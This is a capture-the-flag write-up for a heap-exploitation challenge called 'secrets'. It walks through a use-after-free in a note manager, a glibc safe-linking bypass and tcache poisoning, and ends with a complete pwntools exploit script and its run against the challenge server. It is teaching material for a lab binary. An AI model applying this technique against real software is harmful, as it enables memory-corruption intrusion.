secrets

Category: Pwn
Files: secrets libc.so.6 ld-linux-x86-64.so.2
Description: Just a simple note manager. Surely nothing could go wrong...

Security check on the binary:

❯  checksec secrets
    Arch:       amd64-64-little
    RELRO:        Partial RELRO
    Stack:        No canary found
    NX:           NX enabled
    PIE:          No PIE (0x400000)
    RUNPATH:      b'./'
    Stripped:     No

The binary has No PIE, which simplifies things by giving us fixed addresses for global variables like notes and admin_key. However, it uses a modern Glibc with Tcache Safe-Linking enabled.

Program Analysis

In this challenge, we were given a binary named secrets. Let’s try to examine the decompiled code.

main

1
int main(void) {
2
    int choice;
3
    _init_streams();
4

5
    // Initializing admin_key with "SUPER_SECRET"
6
    strcpy(admin_key, "SUPER_SECRET");
7

8
    while (1) {
9
        menu();
10
        if (scanf("%d", &choice) != 1) break;
11
        switch (choice) {
12
            case 1: alloc_note(); break;
13
            case 2: free_note(); break;
14
            case 3: edit_note(); break;
15
            case 4: read_note(); break;
16
            case 5: check_admin(); break;
17
            default: exit(0);
18
        }
19
    }
20
    return 0;
21
}

The main() function initializes the global admin_key with the string "SUPER_SECRET" and then enters a menu loop. The program allows us to allocate, free, edit, and read notes, as well as perform a check on the administrative key.

alloc_note

1
void alloc_note(void) {
2
    int idx;
3
    printf("Index (0-9): ");
4
    if (scanf("%d", &idx) == 1 && idx >= 0 && idx < 10) {
5
        void *pvVar3 = malloc(0x30);
6
        notes[idx] = pvVar3;
7
        if (notes[idx] != NULL) {
8
            printf("Enter data: ");
9
            read(0, notes[idx], 0x30);
10
            puts("[+] Allocated.");
11
        }
12
    }
13
}

The alloc_note() function allocates a 0x30 byte chunk on the heap using malloc() and stores the pointer in the global notes array. It then reads up to 0x30 bytes of data into this chunk.

free_note

1
void free_note(void) {
2
    int idx;
3
    printf("Index (0-9): ");
4
    if (scanf("%d", &idx) == 1 && idx >= 0 && idx < 10) {
5
        free(notes[idx]);
6
        puts("[+] Freed.");
7
    }
8
}

The free_note() function finds the note at the specified index and calls free() on it. Critically, it fails to clear the pointer in the notes array after freeing the memory, creating a classic Use-After-Free (UAF) vulnerability.

edit_note

1
void edit_note(void) {
2
    int idx;
3
    printf("Index (0-9): ");
4
    if (scanf("%d", &idx) == 1 && idx >= 0 && idx < 10) {
5
        printf("New data: ");
6
        read(0, notes[idx], 0x30);
7
        puts("[+] Edited.");
8
    }
9
}

Because of the UAF bug in free_note(), we can call edit_note() (and read_note()) on a freed chunk. This allows us to overwrite the metadata of the freed chunk, specifically the next pointer in the tcache bin.

check_admin

1
void check_admin(void) {
2
    if (strcmp(admin_key, "HACKED") == 0) {
3
        char *flag = getenv("FLAG_VAL");
4
        if (flag == NULL) {
5
            puts("CTF{TCACHE_SUCCESS}");
6
        } else {
7
            puts(flag);
8
        }
9
        exit(0);
10
    }
11
    puts("[-] Invalid admin key.");
12
}

Our goal is to reach the flag in the check_admin() function by making admin_key equal to "HACKED". Since admin_key is a fixed global variable and we have a UAF, we can use Tcache Poisoning to obtain a chunk at the address of admin_key.

Now that we know the bug, let’s move to the exploitation part.

Exploitation

Since we are on a modern Glibc (2.32+), we must contend with Safe-Linking.

1. Bypassing Safe-Linking

In modern Glibc, the next pointer of a freed tcache chunk is mangled as: L = (P >> 12) ^ target Where P is the address of the pointer itself.

By reading a freed chunk (UAF), we can leak this mangled value. If it’s the only chunk in the tcache, its target is NULL, so the leaked value is exactly P >> 12. We call this the Heap Key.

2. Tcache Poisoning

Leak: Allocate and free a note. Read it to get the heap_key.
Poison: Allocate two more notes and free them. Use the UAF to edit the head of the tcache. Set the next pointer to heap_key ^ &admin_key.
Overwrite: Allocate twice. The second allocation will land on admin_key. Write "HACKED" there.

Exploit Script

1
from pwn import *
2

3
def start(argv=[], *a, **kw):
4
    if args.GDB:
5
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
6
    elif args.REMOTE:
7
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
8
    else:
9
        return process([exe] + argv, *a, **kw)
10

11
gdbscript = '''
12
init-pwndbg
13
set follow-fork-mode parent
14
set follow-exec-mode same
15
continue
16
'''.format(**locals())
17

18
exe = './secrets'
19
elf = context.binary = ELF(exe, checksec=False)
20
context.terminal = ['tmux', 'splitw', '-h']
21
context.log_level = 'info'
22

23
def logleak(name, val):  log.success(name+' = %#x' % val)
24
def sa(delim,data): return io.sendafter(delim,data)
25
def sla(delim,line): return io.sendlineafter(delim,line)
26
def sl(line): return io.sendline(line)
27
def mangle(heap_base, ptr): return (heap_base >> 12) ^ ptr
28

29
def alloc(idx, data):
30
    sla(b"> ", b"1")
31
    sla(b": ", str(idx).encode())
32
    sa(b"data: ", data)
33

34
def free(idx):
35
    sla(b"> ", b"2")
36
    sla(b": ", str(idx).encode())
37

38
def edit(idx, data):
39
    sla(b"> ", b"3")
40
    sla(b": ", str(idx).encode())
41
    sa(b"data: ", data)
42

43
def read_note(idx):
44
    sla(b"> ", b"4")
45
    sla(b": ", str(idx).encode())
46
    return io.read(0x30)
47

48
def check_admin():
49
    sla(b"> ", b"5")
50
io = start()
51

52
# 1. Leak heap key (safe-linking mask)
53
alloc(0, b"AAAA")
54
free(0)
55
leak = read_note(0)
56
heap_base = u64(leak[:8]) << 12
57
logleak('Heap base', heap_base)
58

59
# 2. Tcache poisoning
60
alloc(1, b"BBBB")
61
alloc(2, b"CCCC")
62
free(2)
63
free(1)
64

65
# Target: admin_key
66
target = elf.sym["admin_key"]
67
mangled = mangle(heap_base, target)
68
logleak('Mangled target:', mangled)
69

70
edit(1, p64(mangled))
71

72
# 3. Arbitrary write
73
alloc(3, b"junk")
74
alloc(4, b"HACKED\x00")
75

76
# 4. Get flag
77
check_admin()
78

79
io.interactive()

Running the exploit against the remote server:

$ python3 xploit.py REMOTE ctf.mf.grsu.by 9072
[+] Opening connection to ctf.mf.grsu.by on port 9072: Done
[+] Heap base = 0x3d092000
[+] Mangled target: = 0x439052
[*] Switching to interactive mode
grodno{4DM1n_N3_Z48YL_7C4Ch3_p0150N3D}

Flag: grodno{4DM1n_N3_Z48YL_7C4Ch3_p0150N3D}